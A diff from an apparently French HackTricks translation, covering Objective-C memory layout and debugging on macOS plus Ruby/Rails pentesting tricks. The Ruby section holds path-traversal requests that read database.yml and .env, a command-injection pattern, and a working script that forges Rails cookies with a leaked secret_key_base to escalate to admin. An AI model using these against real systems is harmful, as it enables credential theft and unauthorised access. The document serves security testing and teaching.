Translated ['src/macos-hardening/macos-security-and-privilege-escalation

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md

@@ -4,9 +4,9 @@
 
 ## CFRuntimeClass
 
-Les objets CF\* proviennent de CoreFoundation, qui fournit plus de 50 classes d'objets comme `CFString`, `CFNumber` ou `CFAllocator`.
+Les objets CF* proviennent de CoreFoundation, qui fournit plus de 50 classes d'objets telles que `CFString`, `CFNumber` ou `CFAllocator`.
 
-Toutes ces classes sont des instances de la classe `CFRuntimeClass`, qui lorsqu'elle est appelée, renvoie un index à la `__CFRuntimeClassTable`. La CFRuntimeClass est définie dans [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
+Toutes ces classes sont des instances de la classe `CFRuntimeClass`, qui, lorsqu'elle est appelée, renvoie un indice vers `__CFRuntimeClassTable`. Le CFRuntimeClass est défini dans [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
 ```objectivec
 // Some comments were added to the original code
 
@@ -55,38 +55,49 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
 ```
 ## Objective-C
 
-### Sections de mémoire utilisées
+### Sections mémoire utilisées
 
-La plupart des données utilisées par le runtime ObjectiveC changeront pendant l'exécution, c'est pourquoi il utilise certaines sections du segment **\_\_DATA** en mémoire :
+La plupart des données utilisées par l'Objective‑C runtime changent pendant l'exécution ; il utilise donc un certain nombre de sections du Mach‑O de la famille de segments `__DATA` en mémoire. Historiquement, celles‑ci incluaient :
 
-- **`__objc_msgrefs`** (`message_ref_t`): Références de message
-- **`__objc_ivar`** (`ivar`): Variables d'instance
-- **`__objc_data`** (`...`): Données mutables
-- **`__objc_classrefs`** (`Class`): Références de classe
-- **`__objc_superrefs`** (`Class`): Références de superclasse
-- **`__objc_protorefs`** (`protocol_t *`): Références de protocole
-- **`__objc_selrefs`** (`SEL`): Références de sélecteur
-- **`__objc_const`** (`...`): Données `r/o` de classe et autres données (espérons-le) constantes
-- **`__objc_imageinfo`** (`version, flags`): Utilisé lors du chargement de l'image : Version actuellement `0`; Les drapeaux spécifient le support GC préoptimisé, etc.
-- **`__objc_protolist`** (`protocol_t *`): Liste de protocoles
-- **`__objc_nlcatlist`** (`category_t`): Pointeur vers des catégories non paresseuses définies dans ce binaire
-- **`__objc_catlist`** (`category_t`): Pointeur vers des catégories définies dans ce binaire
-- **`__objc_nlclslist`** (`classref_t`): Pointeur vers des classes Objective-C non paresseuses définies dans ce binaire
-- **`__objc_classlist`** (`classref_t`): Pointeurs vers toutes les classes Objective-C définies dans ce binaire
+- `__objc_msgrefs` (`message_ref_t`): Références de messages
+- `__objc_ivar` (`ivar`): Variables d'instance
+- `__objc_data` (`...`): Données modifiables
+- `__objc_classrefs` (`Class`): Références de classe
+- `__objc_superrefs` (`Class`): Références de superclasse
+- `__objc_protorefs` (`protocol_t *`): Références de protocole
+- `__objc_selrefs` (`SEL`): Références de sélecteur
+- `__objc_const` (`...`): Données de classe en lecture seule et autres données (espérées) constantes
+- `__objc_imageinfo` (`version, flags`): Utilisé lors du chargement de l'image : Version actuellement `0` ; les flags spécifient le support GC préoptimisé, etc.
+- `__objc_protolist` (`protocol_t *`): Liste de protocoles
+- `__objc_nlcatlist` (`category_t`): Pointeur vers les Non‑Lazy Categories définies dans ce binaire
+- `__objc_catlist` (`category_t`): Pointeur vers les Categories définies dans ce binaire
+- `__objc_nlclslist` (`classref_t`): Pointeur vers les classes Objective‑C Non‑Lazy définies dans ce binaire
+- `__objc_classlist` (`classref_t`): Pointeurs vers toutes les classes Objective‑C définies dans ce binaire
 
-Il utilise également quelques sections dans le segment **`__TEXT`** pour stocker des valeurs constantes s'il n'est pas possible d'écrire dans cette section :
+Il utilise aussi quelques sections dans le segment `__TEXT` pour stocker des constantes :
 
-- **`__objc_methname`** (C-String): Noms de méthode
-- **`__objc_classname`** (C-String): Noms de classe
-- **`__objc_methtype`** (C-String): Types de méthode
+- `__objc_methname` (C‑String): Noms de méthodes
+- `__objc_classname` (C‑String): Noms de classes
+- `__objc_methtype` (C‑String): Types de méthodes
 
-### Encodage des types
+Les macOS/iOS modernes (surtout sur Apple Silicon) placent aussi des métadonnées Objective‑C/Swift dans :
 
-Objective-C utilise un certain mangle pour encoder les sélecteurs et les types de variables de types simples et complexes :
+- `__DATA_CONST`: métadonnées Objective‑C immutables pouvant être partagées en lecture seule entre processus (par exemple, beaucoup de listes `__objc_*` résident maintenant ici).
+- `__AUTH` / `__AUTH_CONST`: segments contenant des pointeurs qui doivent être authentifiés au chargement ou à l'utilisation sur arm64e (Pointer Authentication). Vous verrez aussi `__auth_got` dans `__AUTH_CONST` au lieu des hérités `__la_symbol_ptr`/`__got` seulement. Lors de l'instrumentation ou du hooking, pensez à prendre en compte à la fois les entrées `__got` et `__auth_got` dans les binaires modernes.
 
-- Les types primitifs utilisent leur première lettre du type `i` pour `int`, `c` pour `char`, `l` pour `long`... et utilisent la lettre majuscule dans le cas où c'est non signé (`L` pour `unsigned Long`).
-- D'autres types de données dont les lettres sont utilisées ou sont spéciales, utilisent d'autres lettres ou symboles comme `q` pour `long long`, `b` pour `bitfields`, `B` pour `booleans`, `#` pour `classes`, `@` pour `id`, `*` pour `char pointers`, `^` pour `pointers` génériques et `?` pour `undefined`.
-- Les tableaux, structures et unions utilisent `[`, `{` et `(`
+Pour le contexte sur la pré‑optimisation de dyld (par ex. selector uniquing et pré‑calcul des classes/protocols) et pourquoi beaucoup de ces sections sont « déjà fixées » lorsqu'elles proviennent du shared cache, consultez les sources Apple `objc-opt` et les notes sur dyld shared cache. Cela influence où et comment vous pouvez patcher les métadonnées à l'exécution.
+
+{{#ref}}
+../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
+{{#endref}}
+
+### Encodage de type
+
+Objective‑C utilise le mangling pour encoder les types des sélecteurs et des variables, simples et complexes :
+
+- Les types primitifs utilisent la première lettre du type : `i` pour `int`, `c` pour `char`, `l` pour `long`... et la lettre majuscule en cas de non signé (`L` pour `unsigned long`).
+- D'autres types utilisent d'autres lettres ou symboles comme `q` pour `long long`, `b` pour les bitfields, `B` pour les booléens, `#` pour les classes, `@` pour `id`, `*` pour `char *`, `^` pour pointeurs génériques et `?` pour indéfini.
+- Les tableaux, structures et unions utilisent respectivement `[`, `{` et `(`.
 
 #### Exemple de déclaration de méthode
 ```objectivec
@@ -94,7 +105,7 @@ Objective-C utilise un certain mangle pour encoder les sélecteurs et les types
 ```
 Le sélecteur serait `processString:withOptions:andError:`
 
-#### Encodage de Type
+#### Encodage de type
 
 - `id` est encodé comme `@`
 - `char *` est encodé comme `*`
@@ -103,20 +114,20 @@ L'encodage de type complet pour la méthode est :
 ```less
 @24@0:8@16*20^@24
 ```
-#### Détail
+#### Analyse détaillée
 
-1. **Type de retour (`NSString *`)** : Encodé comme `@` avec une longueur de 24
-2. **`self` (instance d'objet)** : Encodé comme `@`, à l'offset 0
-3. **`_cmd` (sélecteur)** : Encodé comme `:`, à l'offset 8
-4. **Premier argument (`char * input`)** : Encodé comme `*`, à l'offset 16
-5. **Deuxième argument (`NSDictionary * options`)** : Encodé comme `@`, à l'offset 20
-6. **Troisième argument (`NSError ** error`)** : Encodé comme `^@`, à l'offset 24
+1. Type de retour (`NSString *`): Encodé comme `@` avec une longueur de 24
+2. `self` (instance d'objet): Encodé comme `@`, à l'offset 0
+3. `_cmd` (sélecteur): Encodé comme `:`, à l'offset 8
+4. Premier argument (`char * input`): Encodé comme `*`, à l'offset 16
+5. Deuxième argument (`NSDictionary * options`): Encodé comme `@`, à l'offset 20
+6. Troisième argument (`NSError ** error`): Encodé comme `^@`, à l'offset 24
 
-**Avec le sélecteur + l'encodage, vous pouvez reconstruire la méthode.**
+Avec le sélecteur + l'encodage, vous pouvez reconstruire la méthode.
 
-### **Classes**
+### Classes
 
-Les classes en Objective-C sont une structure avec des propriétés, des pointeurs de méthode... Il est possible de trouver la structure `objc_class` dans le [**code source**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) :
+Les classes en Objective‑C sont des structures C contenant des propriétés, des pointeurs de méthode, etc. Il est possible de trouver la struct `objc_class` dans le [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
 ```objectivec
 struct objc_class : objc_object {
 // Class ISA;
@@ -137,9 +148,114 @@ data()->setFlags(set);
 }
 [...]
 ```
-Cette classe utilise certains bits du champ isa pour indiquer des informations sur la classe.
+Cette classe utilise certains bits du champ `isa` pour indiquer des informations sur la classe.
 
-Ensuite, la structure a un pointeur vers la structure `class_ro_t` stockée sur le disque qui contient des attributs de la classe comme son nom, ses méthodes de base, ses propriétés et ses variables d'instance.\
-Pendant l'exécution, une structure supplémentaire `class_rw_t` est utilisée, contenant des pointeurs qui peuvent être modifiés tels que des méthodes, des protocoles, des propriétés... 
+Ensuite, la struct a un pointeur vers la struct `class_ro_t` stockée sur disque qui contient des attributs de la classe comme son nom, les méthodes de base, les propriétés et les variables d'instance. À l'exécution, une structure additionnelle `class_rw_t` est utilisée et contient des pointeurs modifiables tels que les méthodes, les protocols et les propriétés.
+
+{{#ref}}
+../macos-basic-objective-c.md
+{{#endref}}
+
+---
+
+## Représentations modernes d'objets en mémoire (arm64e, tagged pointers, Swift)
+
+### Non‑pointer `isa` and Pointer Authentication (arm64e)
+
+Sur Apple Silicon et dans les runtimes récents le `isa` Objective‑C n'est pas toujours un simple pointeur de classe. Sur arm64e il s'agit d'une structure empaquetée qui peut aussi porter un Pointer Authentication Code (PAC). Selon la plateforme elle peut inclure des champs comme `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, et le pointeur de classe lui‑même (décalé ou signé). Cela signifie que déréférencer aveuglément les 8 premiers octets d'un objet Objective‑C ne donnera pas toujours un pointeur `Class` valide.
+
+Notes pratiques lors du débogage sur arm64e :
+
+- LLDB supprimera généralement les bits PAC pour vous lorsque vous affichez des objets Objective‑C avec `po`, mais quand vous travaillez avec des pointeurs bruts vous devrez peut‑être enlever l'authentification manuellement :
+
+```lldb
+(lldb) expr -l objc++ -- #include <ptrauth.h>
+(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
+```
+
+- De nombreux pointeurs de fonction/données dans Mach‑O résident dans `__AUTH`/`__AUTH_CONST` et requièrent une authentification avant utilisation. Si vous interposez ou ré‑assignez (par ex., style fishhook), assurez‑vous de gérer également `__auth_got` en plus de l'ancien `__got`.
+
+Pour un approfondissement sur les garanties langage/ABI et les intrinsics `<ptrauth.h>` disponibles via Clang/LLVM, voir la référence à la fin de cette page.
+
+### Objets à pointeurs étiquetés
+
+Certaines classes Foundation évitent l'allocation sur le tas en encodant la charge utile de l'objet directement dans la valeur du pointeur (tagged pointers). La détection diffère selon la plateforme (par ex., le bit de poids fort sur arm64, le bit de poids faible sur x86_64 macOS). Les objets taggés n'ont pas de `isa` classique stocké en mémoire ; le runtime résout la classe à partir des bits de tag. Lors de l'inspection de valeurs `id` arbitraires :
+
+- Utilisez les API du runtime au lieu de tripoter le champ `isa` : `object_getClass(obj)` / `[obj class]`.
+- Dans LLDB, simplement `po (id)0xADDR` affichera correctement les instances tagged pointer car le runtime est consulté pour résoudre la classe.
+
+### Objets Swift sur le heap et métadonnées
+
+Les classes Swift pures sont aussi des objets avec un en‑tête pointant vers les métadonnées Swift (et non le `isa` Objective‑C). Pour introspecter des processus Swift en direct sans les modifier vous pouvez utiliser `swift-inspect` de la toolchain Swift, qui s'appuie sur la bibliothèque Remote Mirror pour lire les métadonnées du runtime :
+```bash
+# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
+swift-inspect dump-raw-metadata <pid-or-name>
+swift-inspect dump-arrays <pid-or-name>
+# On Darwin additionally:
+swift-inspect dump-concurrency <pid-or-name>
+```
+Ceci est très utile pour cartographier les objets du tas Swift et les conformances de protocoles lors de la rétro-ingénierie d'apps Swift/ObjC mixtes.
+
+---
+
+## Aide-mémoire d'inspection du runtime (LLDB / Frida)
+
+### LLDB
+
+- Afficher un objet ou une classe depuis un pointeur brut :
+```lldb
+(lldb) expr -l objc++ -O -- (id)0x0000000101234560
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
+```
+- Inspecter la classe Objective‑C à partir d'un pointeur vers le `self` d'une méthode d'objet dans un point d'arrêt :
+```lldb
+(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
+(lldb) r
+... breakpoint hit ...
+(lldb) po (id)$x0                 # self
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
+```
+- Dump des sections qui portent des métadonnées Objective‑C (note : beaucoup sont maintenant dans `__DATA_CONST` / `__AUTH_CONST`) :
+```lldb
+(lldb) image dump section --section __DATA_CONST.__objc_classlist
+(lldb) image dump section --section __DATA_CONST.__objc_selrefs
+(lldb) image dump section --section __AUTH_CONST.__auth_got
+```
+- Lire la mémoire d'un objet de classe connu pour basculer vers `class_ro_t` / `class_rw_t` lors de l'analyse des listes de méthodes :
+```lldb
+(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
+(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
+```
+### Frida (Objective‑C and Swift)
+
+Frida fournit des passerelles d'exécution de haut niveau, très pratiques pour découvrir et instrumenter des objets en mémoire sans symboles :
+
+- Énumérer les classes et méthodes, résoudre les noms de classes réels à l'exécution, et intercepter les sélecteurs Objective‑C :
+```js
+if (ObjC.available) {
+// List a class' methods
+console.log(ObjC.classes.NSFileManager.$ownMethods);
+
+// Intercept and inspect arguments/return values
+const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
+Interceptor.attach(impl, {
+onEnter(args) {
+this.path = new ObjC.Object(args[2]).toString();
+},
+onLeave(retval) {
+console.log('fileExistsAtPath:', this.path, '=>', retval);
+}
+});
+}
+```
+- Swift bridge : énumérer les types Swift et interagir avec les instances Swift (requiert une version récente de Frida ; très utile sur des cibles Apple Silicon).
+
+---
+
+## Références
+
+- Clang/LLVM : Authentification des pointeurs et les intrinsèques `<ptrauth.h>` (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
+- En-têtes du runtime objc d'Apple (pointeurs taggés, `isa` non‑pointeur, etc.), p.ex. `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
 
 {{#include ../../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/ruby-tricks.md

@@ -1,9 +1,100 @@
-# Ruby Tricks
+# Astuces Ruby
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Téléchargement de fichiers vers RCE
+## File upload to RCE
 
-Comme expliqué dans [cet article](https://www.offsec.com/blog/cve-2024-46986/), le téléchargement d'un fichier `.rb` dans des répertoires sensibles tels que `config/initializers/` peut conduire à une exécution de code à distance (RCE) dans les applications Ruby on Rails.
+Comme expliqué dans [cet article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
 
+Tips:
+- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot.
+- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
+
+## Active Storage image transformation → command execution (CVE-2025-24293)
+
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
+
+- A vulnerable pattern looks like:
+```erb
+<%= image_tag blob.variant(params[:t] => params[:v]) %>
+```
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
+
+- Ce qu'il faut essayer pendant les tests
+- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
+- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
+- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+
+- Remédiation/détections
+- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+
+## Rack::Static LFI / path traversal (CVE-2025-27610)
+
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
+
+- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+```text
+GET /assets/%2e%2e/%2e%2e/config/database.yml
+GET /favicon.ico/..%2f..%2f.env
+```
+Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+
+- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+
+## Forging/decrypting Rails cookies when `secret_key_base` is leaked
+
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+
+Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+```ruby
+require 'cgi'
+require 'json'
+require 'active_support'
+require 'active_support/message_encryptor'
+require 'active_support/key_generator'
+
+secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
+raw_cookie = CGI.unescape(ARGV[0])
+
+salt   = 'authenticated encrypted cookie'
+cipher = 'aes-256-gcm'
+key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
+secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
+enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+
+plain = enc.decrypt_and_verify(raw_cookie)
+puts "Decrypted: #{plain.inspect}"
+
+# Modify and re-encrypt (example: escalate role)
+plain['role'] = 'admin' if plain.is_a?(Hash)
+forged = enc.encrypt_and_sign(plain)
+puts "Forged cookie: #{CGI.escape(forged)}"
+```
+Notes:
+- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts `encrypted cookie` / `signed encrypted cookie`, ou des sérialiseurs JSON/Marshal. Ajustez les salts, cipher, et serializer en conséquence.
+- En cas de compromission/évaluation, renouvelez `secret_key_base` pour invalider tous les cookies existants.
+
+## Voir aussi (vulnérabilités spécifiques à Ruby/Rails)
+
+- Désérialisation Ruby et class pollution:
+{{#ref}}
+../../pentesting-web/deserialization/README.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-class-pollution.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-_json-pollution.md
+{{#endref}}
+- Injection de template dans les moteurs Ruby (ERB/Haml/Slim, etc.):
+{{#ref}}
+../../pentesting-web/ssti-server-side-template-injection/README.md
+{{#endref}}
+
+
+
+## Références
+
+- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 {{#include ../../banners/hacktricks-training.md}}